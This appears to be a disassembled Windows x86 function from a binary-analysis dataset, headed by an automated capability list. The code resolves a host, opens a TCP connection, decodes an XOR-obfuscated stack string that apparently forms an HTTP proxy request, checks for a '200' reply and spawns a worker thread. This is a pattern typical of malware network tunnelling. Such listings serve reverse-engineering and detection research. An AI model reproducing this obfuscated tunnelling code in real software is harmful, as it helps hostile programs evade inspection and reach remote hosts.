Function at 0x401250
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Contain obfuscated stackstrings
Create tcp socket
Create thread
Get socket status
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Set socket configuration
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3f4
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x3f0], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x1ff
mov dword [esp + 0x18], eax
mov esi, ecx
lea eax, [esp + 0x1fd]
mov byte [esp + 0x1fc], 0
push 0
push eax
call fcn.00406600
mov ecx, dword [esi + 0x10]
add esp, 0xc
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
xorps xmm0, xmm0
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
movlpd qword [esp + 0x28], xmm0
cmp ecx, 0xffffffff
je 0x40131c
push 4
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 1
push eax
push 0x80
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_CancelIo]
push dword [esi + 0x10]
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [esi + 0xc]
mov dword [esi + 0x10], 0xffffffff
mov dword [esi + 4], 0
test eax, eax
je 0x40131c
push 0x1388
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x401310
push 0
push dword [esi + 0xc]
call ebx
push dword [esi + 0xc]
call edi
mov dword [esi + 0xc], 0
push 0x4206e0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x401961
push 0x4206e0
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [esp + 0xc], eax
test eax, eax
je 0x401948
movzx ecx, word [0x420760]
mov eax, 2
push ecx
mov word [esp + 0x24], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x22], ax
mov eax, dword [esp + 0xc]
push 6
push 1
push 2
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 0x30], eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x10], eax
cmp eax, 0xffffffff
je 0x401948
push 0x10
lea ecx, [esp + 0x24]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x401948
xor eax, eax
mov dword [esp + 0x13c], 0xf2aeeb5d
mov dword [esp + 0x140], 0xd8631f68
xor dword [esp + 0x13e], 0x6c4dd2fa
mov dword [esp + 0x144], 0xe167bb0
xor dword [esp + 0x142], 0x5bd4fd59
mov dword [esp + 0x148], 0x61ca958e
xor dword [esp + 0x146], 0xc5da5a5e
mov dword [esp + 0x14c], 0x642f00f5
xor dword [esp + 0x14a], 0x30db50e5
mov dword [esp + 0x150], 0xe0f4c193
xor dword [esp + 0x14e], 0xb2c66e22
mov dword [esp + 0x154], 0x9a21d762
xor dword [esp + 0x152], 0x964f9291
mov dword [esp + 0x158], 0xd674545
xor dword [esp + 0x156], 0x312bff46
mov dword [esp + 0x15c], 0x3fb03c34
xor dword [esp + 0x15a], 0x53792d5d
mov dword [esp + 0x160], 0xfb28d750
xor dword [esp + 0x15e], 0xbb3c56ca
mov dword [esp + 0x164], 0x759e8969
xor dword [esp + 0x162], 0xa75dd449
mov dword [esp + 0x168], 0x2f3a25fa
xor dword [esp + 0x166], 0x46d255ae
mov dword [esp + 0x16c], 0xdd86909e
xor dword [esp + 0x16a], 0xf1ee4255
mov dword [esp + 0x170], 0xc1e40108
xor dword [esp + 0x16e], 0x6d6ab4f2
mov dword [esp + 0x174], 0xcc56cd4
xor dword [esp + 0x172], 0x21f4fa81
mov dword [esp + 0x178], 0x29f52ad7
xor dword [esp + 0x176], 0xa924596
mov dword [esp + 0x17c], 0x67bae847
xor dword [esp + 0x17a], 0xd37707cd
mov dword [esp + 0x180], 0xd25dd233
xor dword [esp + 0x17e], 0xbc5a309a
mov dword [esp + 0x184], 0x78ded5c1
xor dword [esp + 0x182], 0xa6b6bd39
mov dword [esp + 0x188], 0x5bf392b6
xor dword [esp + 0x186], 0xb2e236fe
mov dword [esp + 0x18c], 0xdfe23bb9
xor dword [esp + 0x18a], 0x8875c5
mov dword [esp + 0x190], 0x6025c4c6
xor dword [esp + 0x18e], 0x8188f1c2
mov dword [esp + 0x194], 0x2aa50907
xor dword [esp + 0x192], 0x39295471
mov dword [esp + 0x198], 0x4173a3f2
xor dword [esp + 0x196], 0x8dd211e6
mov dword [esp + 0x19c], 0x90446b1c
xor dword [esp + 0x19a], 0x5f48043d
mov dword [esp + 0x1a0], 0x72248cd7
xor dword [esp + 0x19e], 0xa592a06a
mov dword [esp + 0x1a4], 0x4621333f
xor dword [esp + 0x1a2], 0x416f7829
mov dword [esp + 0x1a8], 0xc476ba0a
xor dword [esp + 0x1a6], 0x97733e4e
mov dword [esp + 0x1ac], 0x7f7e6ed
xor dword [esp + 0x1aa], 0x8883ab35
mov dword [esp + 0x1b0], 0xe0ed72c
xor dword [esp + 0x1ae], 0xbe586492
mov dword [esp + 0x1b4], 0xc17d52ba
xor dword [esp + 0x1b2], 0x72806061
mov dword [esp + 0x138], 0xfaa34f43
xor dword [esp + 0x13a], 0xa818b4ed
mov dword [esp + 0x1b8], 0xa380d9a5
xor dword [esp + 0x1b6], 0xa9c0a436
mov word [esp + 0x1f4], ax
mov dword [esp + 0x1bc], 0x834c2445
mov dword [esp + 0x1c0], 0xaa5ac0a5
mov dword [esp + 0x1c4], 0xc5fb38b1
mov dword [esp + 0x1c8], 0xc7e98372
mov dword [esp + 0x1cc], 0x2516832f
mov dword [esp + 0x1d0], 0xd3611352
mov dword [esp + 0x1d4], 0x4fe93ddf
mov dword [esp + 0x1d8], 0x463d8dbf
mov dword [esp + 0x1dc], 0x12003411
mov dword [esp + 0x1e0], 0x96edb4a
mov dword [esp + 0x1e4], 0xd0cea146
mov dword [esp + 0x1e8], 0x7d765c5a
mov dword [esp + 0x1ec], 0xec573bcf
mov dword [esp + 0x1f0], 0x457dd1
mov eax, dword [esp + 0x14]
xor dword [esp + 0x1ba], 0x4d29e2ad
xor dword [esp + 0x1be], 0xcaa8e63a
xor dword [esp + 0x1c2], 0x4cdfc519
xor dword [esp + 0x1c6], 0xae06ab9e
xor dword [esp + 0x1ca], 0xe441a2a5
xor dword [esp + 0x1ce], 0x33684d62
xor dword [esp + 0x1d2], 0x75d5de51
xor dword [esp + 0x1d6], 0xb7cb3c86
xor dword [esp + 0x1da], 0x3962631d
xor dword [esp + 0x1de], 0xba38420a
xor dword [esp + 0x1e2], 0x9b276409
xor dword [esp + 0x1e6], 0x7135beee
xor dword [esp + 0x1ea], 0x53ac1c15
xor dword [esp + 0x1ee], 0x7d9fec32
push eax
push dword [ebp + 0xc]
push eax
lea eax, [esp + 0x144]
push eax
lea eax, [esp + 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [esp + 0x1f8]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [esp + 0x200]
push eax
push dword [esi + 0x10]
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [esi + 0x10]
test eax, eax
jg 0x401815
cmp ecx, 0xffffffff
je 0x401948
push 4
lea eax, [esp + 0x10]
push eax
push 0x80
push 0xffff
push ecx
jmp 0x4018ef
push 0x200
lea eax, [esp + 0x1fc]
push 0
push eax
call fcn.00406600
mov eax, dword [esi + 0x10]
push 0xfc
mov dword [esp + 0x44], eax
lea eax, [esp + 0x48]
push 0
push eax
mov dword [esp + 0x48], 1
call fcn.00406600
add esp, 0x18
mov dword [esp + 0x18], 0xa
lea eax, [esp + 0x18]
mov dword [esp + 0x1c], 0
push eax
push 0
push 0
lea eax, [esp + 0x3c]
push eax
push 0
call dword [sym.imp.WS2_32.dll_select]
mov ecx, eax
mov eax, dword [esi + 0x10]
cmp ecx, 0xffffffff
je 0x4018d8
test ecx, ecx
je 0x4018d8
push 0
push 0x200
lea ecx, [esp + 0x200]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4018d5
lea eax, [esp + 0x1f8]
push str.HTTP_1.0_200
push eax
call fcn.00406180
add esp, 8
test eax, eax
jne 0x4019bb
lea eax, [esp + 0x1f8]
push str.HTTP_1.1_200
push eax
call fcn.00406180
add esp, 8
test eax, eax
jne 0x4019bb
mov eax, dword [esi + 0x10]
cmp eax, 0xffffffff
je 0x401948
push 4
lea ecx, [esp + 0x10]
push ecx
push 0x80
push 0xffff
push eax
mov eax, dword [sym.imp.WS2_32.dll_setsockopt]
mov dword [esp + 0x20], 1
call eax
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_CancelIo]
push dword [esi + 0x10]
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [esi + 0xc]
mov dword [esi + 0x10], 0xffffffff
mov dword [esi + 4], 0
test eax, eax
je 0x401948
push 0x1388
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x40193c
push 0
push dword [esi + 0xc]
call ebx
push dword [esi + 0xc]
call edi
mov dword [esi + 0xc], 0
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x3f0]
xor ecx, esp
call fcn.0040506d
mov esp, ebp
pop ebp
ret 8
push dword [esp + 0x14]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
je 0x401948
push dword [ebp + 0xc]
mov eax, 2
mov word [esp + 0x24], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x22], ax
mov eax, dword [edi + 0xc]
push 6
push 1
push 2
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 0x30], eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x10], eax
cmp eax, 0xffffffff
je 0x401948
push 0x10
lea ecx, [esp + 0x24]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x401948
push 1
lea eax, [esp + 0x17]
mov byte [esp + 0x17], 1
push eax
mov eax, dword [sym.imp.WS2_32.dll_setsockopt]
push 1
push 6
push dword [esi + 0x10]
call eax
push 0
push 0
push esi
push 0x401a20
push 0
push 0
mov dword [esi + 4], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
mov dword [esi + 0xc], eax
test eax, eax
pop edi
setne cl
mov eax, ecx
mov ecx, dword [esp + 0x3f8]
pop esi
pop ebx
xor ecx, esp
call fcn.0040506d
mov esp, ebp
pop ebp
ret 8